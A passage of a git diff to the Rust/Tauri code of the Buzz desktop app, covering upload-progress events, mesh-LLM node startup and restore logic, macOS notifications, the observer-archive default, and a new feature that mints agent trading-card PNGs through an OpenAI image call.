+pub(super) async fn send_upload_attempt(
+    state: &AppState,
+    attempt: UploadAttempt<'_>,
+) -> Result<reqwest::Response, String> {
+    let UploadAttempt {
+        url,
+        auth_header,
+        mime,
+        sha256,
+        body,
+        progress,
+        cancellation,
+    } = attempt;
+    let req = state
+        .http_client
+        .put(url)
+        .header("Authorization", auth_header)
+        .header("Content-Type", mime)
+        .header("X-SHA-256", sha256);
+
+    let response = if let Some((app, progress_id)) = progress {
+        let app = app.clone();
+        let progress_id = progress_id.clone();
+        let total = body.len() as u64;
+        let chunk_size = 64 * 1024;
+        let chunk_count = body.len().div_ceil(chunk_size);
+        let mut sent: u64 = 0;
+        let stream = futures_util::stream::iter((0..chunk_count).map(move |i| {
+            let start = i * chunk_size;
+            let end = usize::min(start + chunk_size, body.len());
+            let chunk = body.slice(start..end);
+            sent += chunk.len() as u64;
+            let _ = app.emit(
+                "media-upload-progress",
+                serde_json::json!({ "id": progress_id, "sent": sent, "total": total }),
+            );
+            Ok::<bytes::Bytes, std::io::Error>(chunk)
+        }));
+        let request = req
+            .header(reqwest::header::CONTENT_LENGTH, total)
+            .body(reqwest::Body::wrap_stream(stream))
+            .send();
+        if let Some(cancellation) = cancellation {
+            tokio::select! {
+                _ = cancellation.cancelled() => return Err("upload cancelled".to_string()),
+                response = request => response,
+            }
+        } else {
+            request.await
+        }
+    } else {
+        let request = req.body(body).send();
+        if let Some(cancellation) = cancellation {
+            tokio::select! {
+                _ = cancellation.cancelled() => return Err("upload cancelled".to_string()),
+                response = request => response,
+            }
+        } else {
+            request.await
+        }
+    };
+    response.map_err(|error| classify_request_error(&error))
+}
+
+pub(super) fn emit_media_upload_phase(
+    app: &tauri::AppHandle,
+    progress_id: Option<&str>,
+    phase: &'static str,
+) {
+    let Some(id) = progress_id else {
+        return;
+    };
+    let _ = app.emit(
+        "media-upload-phase",
+        serde_json::json!({ "id": id, "phase": phase }),
+    );
+}
diff --git a/desktop/src-tauri/src/commands/mesh_llm.rs b/desktop/src-tauri/src/commands/mesh_llm.rs
index 998bc6e7d2..528ca38767 100644
--- a/desktop/src-tauri/src/commands/mesh_llm.rs
+++ b/desktop/src-tauri/src/commands/mesh_llm.rs
@@ -364,8 +364,7 @@ pub(crate) async fn restore_mesh_sharing(app: &AppHandle, state: &AppState) -> C
     }
     // This is restoration of a previously inference-ready serving node. Keep
     // the enabled checkpoint armed while restoring so a transient startup
-    // failure does not silently turn Share Compute off. New starts remain
-    // disarmed in `mesh_start_node` until their first inference probe passes.
+    // failure does not silently turn Share Compute off.
     let request = mesh_llm::StartMeshNodeRequest {
         mode: mesh_llm::MeshNodeMode::Serve,
         model_id: Some(config.model_id.clone()),
@@ -378,20 +377,26 @@ pub(crate) async fn restore_mesh_sharing(app: &AppHandle, state: &AppState) -> C
     let started = mesh_llm::DesktopMeshRuntime::start(request)
         .await
         .map_err(|error| format!("failed to restore Share Compute: {error:#}"))?;
-    if let Err(error) = wait_for_mesh_inference(&config.model_id).await {
-        let cleanup = started.stop().await;
-        if let Err(cleanup_error) = cleanup {
-            eprintln!(
-                "buzz-mesh: restored node failed inference readiness and cleanup was incomplete: {cleanup_error:#}"
-            );
-        }
-        return Err(format!("failed to restore Share Compute: {error}"));
-    }
+    // Install the restored runtime immediately: it is tracked by AppState from
+    // here on, so it can never be orphaned. Restoring a previously
+    // inference-ready node still has to load ~tens of GB of weights and may
+    // download package layers after the ports bind, and the readiness probe
+    // itself serializes behind any first inference. None of that is a failed
+    // restore — stopping the node and reporting failure (the old behaviour)
+    // tore down a node that was simply still warming up. The checkpoint stays
+    // armed (`enabled`), so a genuinely broken restore is retried next launch
+    // rather than silently turning Share Compute off.
     *runtime = Some(started);
     config.enabled = true;
     config.start_on_next_launch = false;
     save_mesh_sharing_config(app, &config)?;
     drop(runtime);
+    if let Err(error) = wait_for_mesh_inference(&config.model_id).await {
+        eprintln!(
+            "buzz-mesh: restored node is not inference-ready yet ({error}); \
+             leaving it to warm up without tearing it down"
+        );
+    }
     mesh_llm::publish_current_status_once(app, "restore").await;
     Ok(())
 }
@@ -467,9 +472,11 @@ pub async fn mesh_start_node(
     }
 
     if let Some(config) = sharing_config.as_ref() {
-        // Do not arm launch restoration until the exact inference path used by
-        // agents succeeds. Mesh may bind its ports after primary weights load
-        // while package layers are still downloading.
+        // Persist a DISARMED checkpoint to cover the window of the potentially
+        // long `start()` below: if Buzz exits before the runtime is installed
+        // and tracked, the next launch stays stopped rather than trying to
+        // restore a node that never came up. The enabled config is armed right
+        // after install succeeds.
         save_mesh_sharing_config(&app, &pending_new_start_checkpoint(config))?;
     }
 
@@ -496,25 +503,28 @@ pub async fn mesh_start_node(
             ));
         }
     };
-    if let Some(config) = sharing_config.as_ref() {
-        if let Err(error) = wait_for_mesh_inference(&config.model_id).await {
-            let cleanup = started.stop().await;
-            if let Err(cleanup_error) = &cleanup {
-                eprintln!(
-                    "buzz-mesh: started node failed inference readiness and cleanup was incomplete: {cleanup_error:#}"
-                );
-            }
-            drop(runtime);
-            app.request_restart();
-            return Err(format!(
-                "mesh node started but inference never became ready: {error}; Buzz is restarting to guarantee cleanup"
-            ));
-        }
-    }
+    // Install (track) the runtime BEFORE probing readiness so it can never be
+    // orphaned. A readiness timeout is not death: mesh binds its ports before
+    // weights finish loading / layers finish downloading, and serializes all
+    // ingress HTTP (this probe included) behind any in-flight turn — a cold
+    // start can take minutes. The old code stopped the node and restarted the
+    // app on that timeout, turning startup latency into a restart loop.
     *runtime = Some(started);
     drop(runtime);
     if let Some(config) = sharing_config.as_ref() {
+        // Installed + tracked == Share Compute is on, so persist the enabled
+        // config now (mirroring restore), not gated on the probe. Gating it
+        // meant a slow first start served fine but came back OFF next launch.
+        // Safe: neither the watchdog (evicts only a closed port) nor restore
+        // (leaves a warming node alone) can loop a slow-but-alive node, and an
+        // unstartable config fails earlier in `start()`. Probe is informational.
         save_mesh_sharing_config(&app, config)?;
+        if let Err(error) = wait_for_mesh_inference(&config.model_id).await {
+            eprintln!(
+                "buzz-mesh: node started but inference is not ready yet ({error}); \
+                 leaving it to warm up (Share Compute stays armed for next launch)"
+            );
+        }
     }
     mesh_llm::publish_current_status_once(&app, "start").await;
     Ok(status)
diff --git a/desktop/src-tauri/src/commands/mod.rs b/desktop/src-tauri/src/commands/mod.rs
index 66ef7ef17b..322834630a 100644
--- a/desktop/src-tauri/src/commands/mod.rs
+++ b/desktop/src-tauri/src/commands/mod.rs
@@ -1,3 +1,4 @@
+mod agent_access;
 mod agent_auth;
 mod agent_config;
 mod agent_discovery;
@@ -28,8 +29,10 @@ pub(crate) mod media;
 mod media_animated;
 mod media_download;
 mod media_gif;
+mod media_raw;
 mod media_snapshot_png;
 mod media_transcode;
+mod media_upload_progress;
 #[cfg(feature = "mesh-llm")]
 pub(crate) mod mesh_llm;
 mod messages;
@@ -61,6 +64,7 @@ mod window_vibrancy;
 mod workflows;
 mod workspace;
 
+pub use agent_access::*;
 pub use agent_auth::*;
 pub use agent_config::*;
 pub use agent_discovery::*;
@@ -85,6 +89,7 @@ pub use legacy_storage::*;
 pub use link_preview::*;
 pub use media::*;
 pub use media_download::*;
+pub use media_raw::*;
 #[cfg(feature = "mesh-llm")]
 pub use mesh_llm::*;
 pub use messages::*;
diff --git a/desktop/src-tauri/src/commands/notifications.rs b/desktop/src-tauri/src/commands/notifications.rs
index c13d96ff6d..79aa15f969 100644
--- a/desktop/src-tauri/src/commands/notifications.rs
+++ b/desktop/src-tauri/src/commands/notifications.rs
@@ -1,4 +1,4 @@
-//! Native (Linux) desktop-notification helper.
+//! Native desktop-notification helpers.
 //!
 //! `tauri-plugin-notification` posts a notification by calling `notify_rust`'s
 //! `show()` and then immediately dropping the returned `NotificationHandle`.
@@ -13,13 +13,15 @@
 //! action, which we forward to the frontend so it can focus the window and
 //! route to the notification target.
 
+pub(crate) const NATIVE_NOTIFICATION_ACTIVATED_EVENT: &str = "native-notification-activated";
+
 /// Show a desktop notification natively.
 ///
-/// On Linux this uses the connection-preserving path described above. On other
-/// platforms the bundled notification plugin already works correctly, so the
-/// frontend never calls this and we simply report that it is unused.
+/// Linux uses the connection-preserving D-Bus path described above. macOS uses
+/// one application-lifetime `UNUserNotificationCenterDelegate`; it does not
+/// allocate a listener or waiter for each notification.
 #[tauri::command]
-pub fn show_native_notification(
+pub async fn show_native_notification(
     app: tauri::AppHandle,
     title: String,
     body: Option<String>,
@@ -31,21 +33,24 @@ pub fn show_native_notification(
         Ok(())
     }
 
-    #[cfg(not(target_os = "linux"))]
+    #[cfg(target_os = "macos")]
+    {
+        let _ = app;
+        crate::macos_notifications::show(title, body, target).await
+    }
+
+    #[cfg(not(any(target_os = "linux", target_os = "macos")))]
     {
         let _ = (&app, &title, &body, &target);
-        Err("show_native_notification is only supported on Linux".to_string())
+        Err("show_native_notification is only supported on Linux and macOS".to_string())
     }
 }
 
 #[cfg(target_os = "linux")]
 mod linux {
+    use super::NATIVE_NOTIFICATION_ACTIVATED_EVENT;
     use tauri::Emitter;
 
-    /// Emitted to the frontend when the user clicks a native notification. The
-    /// payload is the opaque target object the frontend passed in.
-    const ACTIVATE_EVENT: &str = "native-notification-activated";
-
     pub fn show(
         app: tauri::AppHandle,
         title: String,
@@ -96,7 +101,7 @@ mod linux {
 
                 // The frontend focuses the window on activation (the same path
                 // every other platform uses), so we only forward the target.
-                let _ = app.emit(ACTIVATE_EVENT, target);
+                let _ = app.emit(NATIVE_NOTIFICATION_ACTIVATED_EVENT, target);
             });
         });
     }
diff --git a/desktop/src-tauri/src/commands/observer_archive.rs b/desktop/src-tauri/src/commands/observer_archive.rs
index 707e86b63a..d8b2832b92 100644
--- a/desktop/src-tauri/src/commands/observer_archive.rs
+++ b/desktop/src-tauri/src/commands/observer_archive.rs
@@ -1,54 +1,18 @@
-//! Build-time flag and runtime dev-nest check for observer-feed archive policy.
+//! Observer-feed archive default — always enabled.
 //!
-//! `observer_archive_default_enabled()` returns `true` when either:
-//! - `BUZZ_BUILD_OBSERVER_ARCHIVE_DEFAULT` was set at build time (internal
-//!   builds bake in the flag via `build.rs`), **or**
-//! - the running binary is using the dev nest (`~/.buzz-dev`), which is the
-//!   case for all dev builds launched with `just staging` or `just dev`.
-//!
-//! When `true`, the frontend reconciles the observer archive subscription
-//! every startup — unconditionally ensuring kind 24200 exists in the DB
-//! regardless of stale localStorage markers.
-//!
-//! OSS prod builds (baked flag unset, prod nest `~/.buzz`) return `false` —
-//! no reconciliation; the user manages the subscription via Settings.
+//! `observer_archive_default_enabled()` returns `true` unconditionally.
+//! The frontend calls this every startup to decide whether to reconcile the
+//! `owner_p` subscription for kind 24200 (observer frames). Kind 24200 events
+//! are ephemeral — not stored by the relay — so local archiving is the only
+//! way to retain them.
 
-/// Returns `true` when observer-feed archive policy is enforced.
+/// Returns `true`: observer-feed archive defaults to enabled for all builds.
 ///
-/// True when the build has the internal baked flag set, or when the running
-/// binary is using the dev nest (`~/.buzz-dev`). The frontend calls this
-/// every startup to decide whether to reconcile the `owner_p` subscription.
+/// The frontend reconciles the `owner_p` subscription every startup when this
+/// returns `true`. A user who has explicitly disabled the toggle keeps it off
+/// because the Settings card's explicit-opt-out path deletes the subscription
+/// and the seed hook skips identities that already have an explicit choice.
 #[tauri::command]
 pub fn observer_archive_default_enabled() -> bool {
-    option_env!("BUZZ_DESKTOP_BUILD_OBSERVER_ARCHIVE_DEFAULT").is_some()
-        || crate::managed_agents::nest_is_dev()
-}
-
-#[cfg(test)]
-mod tests {
-    use super::*;
-
-    // `nest_is_dev()` is deterministic-false in unit tests: NEST_DIR OnceLock
-    // is uninitialized → falls back to prod `~/.buzz` (nest.rs:101-106), so
-    // the compiled flag is the sole variable. No runner normalization needed.
-    //
-    // #[ignore]: requires BUZZ_TEST_EXPECTED_OBSERVER_ARCHIVE_DEFAULT to be
-    // set — `just desktop-tauri-test-compiled-flags` runs it explicitly with
-    // `--ignored` under both compile states; general `cargo test` skips it.
-    #[test]
-    #[ignore]
-    fn test_observer_archive_default_enabled_matches_expected() {
-        let result = observer_archive_default_enabled();
-        let expected_str = std::env::var("BUZZ_TEST_EXPECTED_OBSERVER_ARCHIVE_DEFAULT").expect(
-            "BUZZ_TEST_EXPECTED_OBSERVER_ARCHIVE_DEFAULT must be set — \
-                 the dual-compile CI step supplies it; bare `cargo test` is \
-                 not sufficient to validate compiled-flag behavior",
-        );
-        let expected = expected_str == "true" || expected_str == "1";
-        assert_eq!(
-            result, expected,
-            "observer_archive_default_enabled() returned {result}, \
-             expected {expected} (BUZZ_TEST_EXPECTED_OBSERVER_ARCHIVE_DEFAULT={expected_str:?})"
-        );
-    }
+    true
 }
diff --git a/desktop/src-tauri/src/commands/personas/card.rs b/desktop/src-tauri/src/commands/personas/card.rs
new file mode 100644
index 0000000000..29a5c35e6a
--- /dev/null
+++ b/desktop/src-tauri/src/commands/personas/card.rs
@@ -0,0 +1,999 @@
+//! `mint_agent_card` / `save_agent_card` Tauri commands — Agent Trading Cards.
+//!
+//! Mints a collectible trading-card PNG for an agent via one OpenAI Responses
+//! API call (designer model + native `image_generation` tool), then embeds the
+//! agent's `buzz_agent_snapshot` manifest through the existing snapshot
+//! encoder so the card IS an importable `.agent.png`.
+//!
+//! Boundary rules (agreed with Wren, buzz-agent-trading-cards thread):
+//! - Snapshot construction/injection reuses `agent_snapshot.rs` — cards
+//!   inherit manifest-v1 behavior, exclusions, and size checks. No card-only
+//!   wire format exists.
+//! - Memory inclusion is opt-in and shares the export flow's semantics: the
+//!   same three levels (`none`/`core`/`everything`), the same owner-gated
+//!   `get_agent_memory` fetch, and a memory source DERIVED from the resolved
+//!   instance (never caller-supplied), so cross-agent memory pairing is
+//!   structurally impossible. The default is `none`; the encoder still
+//!   rejects `none` + entries.
+//! - The 10 MiB `.agent.png` ceiling is enforced on the FINAL bytes (after
+//!   resize + chunk injection) via `validate_snapshot_encode_size`.
+//! - Round-trip verification decodes the final bytes and compares the logical
+//!   manifest before anything is returned to the frontend.
+//! - The API key is resolved through the same env layering the agent runtime
+//!   uses (global config < persona < agent record) and never leaves Rust.
+//!   It is never logged.
+
+use base64::{engine::general_purpose::STANDARD, Engine as _};
+use serde::{Deserialize, Serialize};
+use tauri::{AppHandle, State};
+
+use super::super::export_util::save_bytes_with_dialog;
+use super::snapshot::{
+    memory_entries_from_listing, parse_memory_level, resolve_from_lists,
+    validate_snapshot_encode_size,
+};
+use crate::{
+    app_state::AppState,
+    commands::engrams::get_agent_memory,
+    managed_agents::{
+        agent_snapshot::{
+            build_snapshot, decode_avatar_data_url, decode_snapshot_png, encode_snapshot_png,
+            extract_chunk_payload_png, MemoryLevel,
+        },
+        agent_snapshot_envelope::{
+            decrypt_envelope, encode_locked_snapshot_png, parse_chunk_payload, ChunkPayload,
+        },
+        load_agent_definitions, load_global_agent_config, load_managed_agents, load_personas,
+        save_global_agent_config, validate_global_config,
+    },
+};
+
+/// The Buzz card frame template — Tyler's gold-honeycomb base. Generation
+/// input only: it never participates in the snapshot manifest, PNG chunk,
+/// import decoder, or attachment validation. Embedded at compile time for
+/// deterministic packaging (see `card_template_decodes` test).
+const CARD_TEMPLATE_PNG: &[u8] = include_bytes!("../../../assets/card_template.png");
+
+/// Designer model driving copy + art direction.
+const DESIGNER_MODEL: &str = "gpt-5.6-sol";
+/// Image model invoked natively via the Responses `image_generation` tool.
+const IMAGE_MODEL: &str = "gpt-image-2";
+/// Final card width in pixels (2:3 portrait → 1500x2250).
+const CARD_WIDTH: u32 = 1500;
+/// Longest edge for the real avatar inlined into an unlocked card's manifest.
+/// Kind:0 pictures render small; 512px keeps the doubly-base64-encoded
+/// manifest chunk modest next to the 1500-wide card body.
+const MANIFEST_AVATAR_MAX_DIM: u32 = 512;
+/// Upper bound for a fetched avatar (pre-resize input to the model).
+const MAX_AVATAR_FETCH_BYTES: usize = 10 * 1024 * 1024;
+/// One mint is a single long API call (~2–3 minutes observed).
+const MINT_TIMEOUT_SECS: u64 = 600;
+
+/// Error prefix the frontend matches to route the user to provider settings
+/// instead of showing a raw failure.
+pub(crate) const NO_KEY_ERROR_PREFIX: &str = "NO_OPENAI_KEY:";
+
+/// Wire shape returned by `mint_agent_card`.
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub struct MintedCard {
+    /// Final `.agent.png` bytes (chunk-injected, round-trip verified),
+    /// base64-encoded for the IPC boundary.
+    pub card_png_base64: String,
+    /// Suggested filename, e.g. `eva.agent.png`.
+    pub file_name: String,
+    /// Designer commentary emitted alongside the image (may be empty).
+    pub designer_notes: String,
+    /// True when the embedded snapshot is NIP-44-encrypted to the
+    /// (owner, agent) pair — only their nsecs can import this card.
+    pub locked: bool,
+    /// How much memory is embedded in the card's snapshot ("none"/"core"/
+    /// "everything"). The viewer's import disclosure depends on this.
+    pub memory_level: MemoryLevel,
+}
+
+// ── Card archive ──────────────────────────────────────────────────────────────
+
+/// Sidecar metadata for one archived card PNG. Stored as `<stem>.json` next
+/// to `<stem>.agent.png` in the cards dir — two plain files per mint, no
+/// shared index to corrupt. Listing scans sidecars; a card whose PNG is
+/// missing is skipped rather than failing the whole list.
+#[derive(Debug, Clone, Serialize, Deserialize)]
+#[serde(rename_all = "camelCase")]
+pub struct ArchivedCardMeta {
+    /// Unique on-disk PNG file name within the cards dir.
+    pub stored_file_name: String,
+    /// Suggested save-as name, e.g. `eva.agent.png`.
+    pub file_name: String,
+    /// The id the card was minted for (instance pubkey or definition slug).
+    pub agent_id: String,
+    pub agent_name: String,
+    pub designer_notes: String,
+    pub locked: bool,
+    /// Memory embedded in this card's snapshot. Defaults to `None` when the
+    /// sidecar predates the field — every pre-field mint was minted with
+    /// `MemoryLevel::None` (it was structural), so the default is honest.
+    #[serde(default)]
+    pub memory_level: MemoryLevel,
+    /// ISO-8601 mint timestamp.
+    pub minted_at: String,
+    /// Small JPEG preview for gallery grids, base64. Populated by
+    /// `list_agent_cards` from the sidecar thumb file — never stored in the
+    /// JSON sidecar itself.
+    #[serde(default, skip_deserializing)]
+    pub thumb_jpeg_base64: Option<String>,
+}
+
+fn cards_dir(app: &AppHandle) -> Result<std::path::PathBuf, String> {
+    let dir = crate::managed_agents::managed_agents_base_dir(app)?.join("cards");
+    std::fs::create_dir_all(&dir).map_err(|e| format!("failed to create cards dir: {e}"))?;
+    Ok(dir)
+}
+
+/// Persist a freshly minted card to the archive. Failures are surfaced to the
+/// caller (which logs and continues) — an archive write must never fail a
+/// mint the user already paid for.
+fn archive_minted_card(
+    app: &AppHandle,
+    agent_id: &str,
+    agent_name: &str,
+    card: &MintedCard,
+    bytes: &[u8],
+) -> Result<ArchivedCardMeta, String> {
+    let dir = cards_dir(app)?;
+    let stem = format!(
+        "{}-{}",
+        crate::util::slugify(agent_name, "agent", 50),
+        uuid::Uuid::new_v4()
+    );
+    let stored_file_name = format!("{stem}.agent.png");
+    let meta = ArchivedCardMeta {
+        stored_file_name: stored_file_name.clone(),
+        file_name: card.file_name.clone(),
+        agent_id: agent_id.to_string(),
+        agent_name: agent_name.to_string(),
+        designer_notes: card.designer_notes.clone(),
+        locked: card.locked,
+        memory_level: card.memory_level,
+        minted_at: crate::util::now_iso(),
+        thumb_jpeg_base64: None,
+    };
+    // PNG first, sidecar second: a crash between the two leaves an orphaned
+    // PNG (invisible to the list), never a sidecar pointing at nothing.
+    std::fs::write(dir.join(&stored_file_name), bytes)
+        .map_err(|e| format!("failed to write archived card: {e}"))?;
+    let meta_json = serde_json::to_string_pretty(&meta)
+        .map_err(|e| format!("failed to serialize card metadata: {e}"))?;
+    std::fs::write(dir.join(format!("{stem}.json")), meta_json)
+        .map_err(|e| format!("failed to write card metadata: {e}"))?;
+    // Thumb last and best-effort: the gallery grid falls back to lazy
+    // full-card loading for a card whose thumb is missing.
+    if let Ok(thumb) = encode_card_thumb(bytes) {
+        let _ = std::fs::write(dir.join(format!("{stem}.thumb.jpg")), thumb);
+    }
+    Ok(meta)
+}
+
+/// Downscale card PNG bytes to a small JPEG for gallery grids. The full card
+/// is ~1500x2250 PNG (megabytes); shipping that per card over IPC just to
+/// draw a grid tile is waste.
+fn encode_card_thumb(bytes: &[u8]) -> Result<Vec<u8>, String> {
+    const THUMB_WIDTH: u32 = 300;
+    let img = image::load_from_memory(bytes).map_err(|e| format!("thumb decode: {e}"))?;
+    let scale = THUMB_WIDTH as f64 / img.width() as f64;
+    let thumb = img.resize(
+        THUMB_WIDTH,
+        (img.height() as f64 * scale).round().max(1.0) as u32,
+        image::imageops::FilterType::Triangle,
+    );
+    let mut out = Vec::new();
+    // JPEG has no alpha; cards are opaque, so flatten unconditionally.
+    let rgb = image::DynamicImage::ImageRgb8(thumb.to_rgb8());
+    rgb.write_to(
+        &mut std::io::Cursor::new(&mut out),
+        image::ImageFormat::Jpeg,
+    )
+    .map_err(|e| format!("thumb encode: {e}"))?;
+    Ok(out)
+}
+
+/// Reject any archive file name that could escape the cards dir or name a
+/// non-archive file. Archive names are generated by `archive_minted_card`
+/// (slug + UUID), so a strict shape check loses nothing legitimate.
+fn validate_archive_file_name(stored_file_name: &str) -> Result<(), String> {
+    let valid = stored_file_name.ends_with(".agent.png")
+        && !stored_file_name.contains(['/', '\\'])
+        && !stored_file_name.contains("..");
+    if !valid {
+        return Err("Invalid archived card file name.".to_string());
+    }
+    Ok(())
+}
+
+/// List all archived cards, newest first.
+#[tauri::command]
+pub fn list_agent_cards(app: AppHandle) -> Result<Vec<ArchivedCardMeta>, String> {
+    let dir = cards_dir(&app)?;
+    let entries = std::fs::read_dir(&dir).map_err(|e| format!("failed to read cards dir: {e}"))?;
+    let mut cards = Vec::new();
+    for entry in entries.flatten() {
+        let path = entry.path();
+        if path.extension().and_then(|e| e.to_str()) != Some("json") {
+            continue;
+        }
+        let Ok(content) = std::fs::read_to_string(&path) else {
+            continue;
+        };
+        let Ok(meta) = serde_json::from_str::<ArchivedCardMeta>(&content) else {
+            // A malformed sidecar hides one card, never the archive.
+            eprintln!(
+                "buzz-desktop: card-archive: skipping malformed sidecar {}",
+                path.display()
+            );
+            continue;
+        };
+        let mut meta = meta;
+        if validate_archive_file_name(&meta.stored_file_name).is_ok()
+            && dir.join(&meta.stored_file_name).is_file()
+        {
+            // Attach the pre-rendered grid thumb when present (best-effort).
+            if let Some(stem) = path.file_stem().and_then(|s| s.to_str()) {
+                meta.thumb_jpeg_base64 = std::fs::read(dir.join(format!("{stem}.thumb.jpg")))
+                    .ok()
+                    .map(|b| STANDARD.encode(&b));
+            }
+            cards.push(meta);
+        }
+    }
+    // ISO-8601 sorts lexicographically; newest first.
+    cards.sort_by(|a, b| b.minted_at.cmp(&a.minted_at));
+    Ok(cards)
+}
+
+/// Load one archived card's PNG bytes as base64, keyed by its stored file
+/// name (as returned by `list_agent_cards`).
+#[tauri::command]
+pub fn load_agent_card(stored_file_name: String, app: AppHandle) -> Result<String, String> {
+    validate_archive_file_name(&stored_file_name)?;
+    let bytes = std::fs::read(cards_dir(&app)?.join(&stored_file_name))
+        .map_err(|e| format!("failed to read archived card: {e}"))?;
+    Ok(STANDARD.encode(&bytes))
+}
+
+// ── Key resolution ────────────────────────────────────────────────────────────
+
+/// Pure layering: global env < persona env < agent record env, then the
+/// process environment as a development fallback. Returns the first
+/// non-empty value for `key`.
+pub(crate) fn resolve_env_from_layers(
+    key: &str,
+    global_env: &std::collections::BTreeMap<String, String>,
+    persona_env: &std::collections::BTreeMap<String, String>,
+    record_env: &std::collections::BTreeMap<String, String>,
+    process_value: Option<String>,
+) -> Option<String> {
+    for layer in [record_env, persona_env, global_env] {
+        if let Some(v) = layer.get(key) {
+            let v = v.trim();
+            if !v.is_empty() {
+                return Some(v.to_string());
+            }
+        }
+    }
+    process_value.filter(|k| !k.trim().is_empty())
+}
+
+/// Pure classification: same four env inputs as `resolve_env_from_layers`,
+/// returns which layer supplies `OPENAI_API_KEY` (agent > persona > global >
+/// process > none).
+pub(crate) fn resolve_key_layer(
+    global_env: &std::collections::BTreeMap<String, String>,
+    persona_env: &std::collections::BTreeMap<String, String>,
+    record_env: &std::collections::BTreeMap<String, String>,
+    process_value: Option<String>,
+) -> &'static str {
+    let key = "OPENAI_API_KEY";
+    let nonempty = |m: &std::collections::BTreeMap<String, String>| {
+        m.get(key).is_some_and(|v| !v.trim().is_empty())
+    };
+    if nonempty(record_env) {
+        return "agent";
+    }
+    if nonempty(persona_env) {
+        return "persona";
+    }
+    if nonempty(global_env) {
+        return "global";
+    }
+    let proc = process_value.as_deref().unwrap_or("");
+    if !proc.trim().is_empty() {
+        return "process";
+    }
+    "none"
+}
+
+/// The Responses endpoint to post mints to. `OPENAI_BASE_URL` (same env
+/// layering as the key) overrides the default host, supporting endpoints and
+/// proxies that speak the OpenAI Responses shape with Bearer auth. Azure
+/// OpenAI is NOT covered by this override alone — it uses its own URL scheme
+/// and `api-key` auth header, which would need a real driver.
+pub(crate) fn responses_url(base_url: Option<String>) -> String {
+    let base = base_url.unwrap_or_else(|| "https://api.openai.com/v1".to_string());
+    format!("{}/responses", base.trim_end_matches('/'))
+}
+
+// ── Prompt construction ───────────────────────────────────────────────────────
+
+/// Build the designer instructions. Pure so tests can pin the contract:
+/// style-match-the-avatar is DEFAULT behavior; owner directions (art AND
+/// card text) take primacy over those style defaults, but never over the
+/// fixed contract (frame identity, geometry, text fidelity).
+pub(crate) fn build_card_instructions(
+    agent_name: &str,
+    persona_notes: &str,
+    style_notes: &str,
+) -> String {
+    let owner_directions = if style_notes.trim().is_empty() {
+        String::new()
+    } else {
+        format!(
+            "\nOWNER'S DIRECTIONS — these override the default art-style and copy guidance \
+             below wherever they conflict (they cannot change the frame, layout, or \
+             text-fidelity requirements). The owner may direct the art, the card text \
+             (type line, ability, flavor), or both:\n{style_notes}\n"
+        )
+    };
+    format!(
+        r#"You are designing one premium collectible trading card for the Buzz agent "{agent_name}".
+
+Input image 1 is the official Buzz card frame template (gold honeycomb border, dark interior, name banner top, hex badge top-right, text box lower third). Input image 2 is the agent's avatar — study its exact art style: medium, pixel grid if any, palette, shading, background motifs.
+
+Persona notes for the card copy:
+{persona_notes}
+{owner_directions}
+First, write professional trading-card copy at Magic: The Gathering editorial quality:
+- a type line (e.g. "Legendary Agent — Team Lead"),
+- ONE keyworded ability: short bolded ability name + one sentence of crisp rules text written like real MTG rules (present tense, precise, no fluff),
+- ONE italic flavor-text line, evocative and short, the kind that gets quoted.
+Where the owner's directions specify card text, use their wording within the 220-character text-box limit below (edited only for spelling; if their text exceeds the limit, condense it minimally while keeping their words and intent); invent copy only for the parts they left open.
+Keep total text-box copy under 220 characters so it renders cleanly.
+
+Then generate the finished card with the image tool, exactly 1024x1536 portrait:
+- The frame must follow input image 1 faithfully: same gold honeycomb border, same layout, honey drip detail.
+- Default art style: match input image 2's art style EXACTLY — same medium, same pixel density if pixel art, same palette, same background honeycomb-lattice sky. It must look like the same artist drew a larger scene: the character in a confident pose, conjuring glowing golden hexagons. The owner's directions above override any of this default styling where they conflict.
+- Name banner: "{agent_name}" plus the type line beneath it in smaller type.
+- Text box: the ability name in bold, rules text in regular, then the flavor line in italics, cleanly typeset like a real MTG card — professional kerning, no misspellings, hyphenate nothing.
+- Top-right hex badge: one small emblem of your choice, no text.
+Render all text with perfect fidelity."#
+    )
+}
+
+/// Encode raw image bytes as a `data:image/png;base64,` URL, downscaling to
+/// `max_dim` on the longest edge so request payloads stay small.
+fn image_data_url(bytes: &[u8], max_dim: u32) -> Result<String, String> {
+    Ok(format!(
+        "data:image/png;base64,{}",
+        STANDARD.encode(png_bytes_resized(bytes, max_dim)?)
+    ))
+}
+
+/// Re-encode an image as PNG, downscaling so neither side exceeds `max_dim`.
+fn png_bytes_resized(bytes: &[u8], max_dim: u32) -> Result<Vec<u8>, String> {
+    let img = image::load_from_memory(bytes).map_err(|e| format!("Failed to decode image: {e}"))?;
+    let img = if img.width().max(img.height()) > max_dim {
+        img.resize(max_dim, max_dim, image::imageops::FilterType::Lanczos3)
+    } else {
+        img
+    };
+    let mut png = Vec::new();
+    img.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)
+        .map_err(|e| format!("Failed to encode image: {e}"))?;
+    Ok(png)
+}
+
+// ── Response parsing ──────────────────────────────────────────────────────────
+
+/// Extract the generated image (base64) and any designer text from a
+/// Responses API payload. Pure for testability.
+pub(crate) fn extract_card_output(resp: &serde_json::Value) -> Result<(String, String), String> {
+    let output = resp
+        .get("output")
+        .and_then(|o| o.as_array())
+        .ok_or_else(|| "Responses payload has no output array".to_string())?;
+
+    let mut image_b64 = None;
+    let mut notes = Vec::new();
+    for item in output {
+        match item.get("type").and_then(|t| t.as_str()) {
+            Some("image_generation_call") => {
+                if let Some(result) = item.get("result").and_then(|r| r.as_str()) {
+                    image_b64 = Some(result.to_string());
+                }
+            }
+            Some("message") => {
+                if let Some(content) = item.get("content").and_then(|c| c.as_array()) {
+                    for c in content {
+                        if c.get("type").and_then(|t| t.as_str()) == Some("output_text") {
+                            if let Some(text) = c.get("text").and_then(|t| t.as_str()) {
+                                notes.push(text.to_string());
+                            }
+                        }
+                    }
+                }
+            }
+            _ => {}
+        }
+    }
+
+    let image_b64 = image_b64.ok_or_else(|| {
+        let types: Vec<&str> = output
+            .iter()
+            .filter_map(|i| i.get("type").and_then(|t| t.as_str()))
+            .collect();
+        format!("No image in Responses output (item types: {types:?})")
+    })?;
+    Ok((image_b64, notes.join("\n")))
+}
+
+// ── Commands ──────────────────────────────────────────────────────────────────
+
+/// Save an `OPENAI_API_KEY` into the global Agent Defaults env for card
+/// minting — a narrow seam with deliberately different semantics from the
+/// general `set_global_agent_config`:
+///
+/// - **No agent restarts.** The general command stops/restarts every running
+///   local agent whose effective env changes, because agent env is baked at
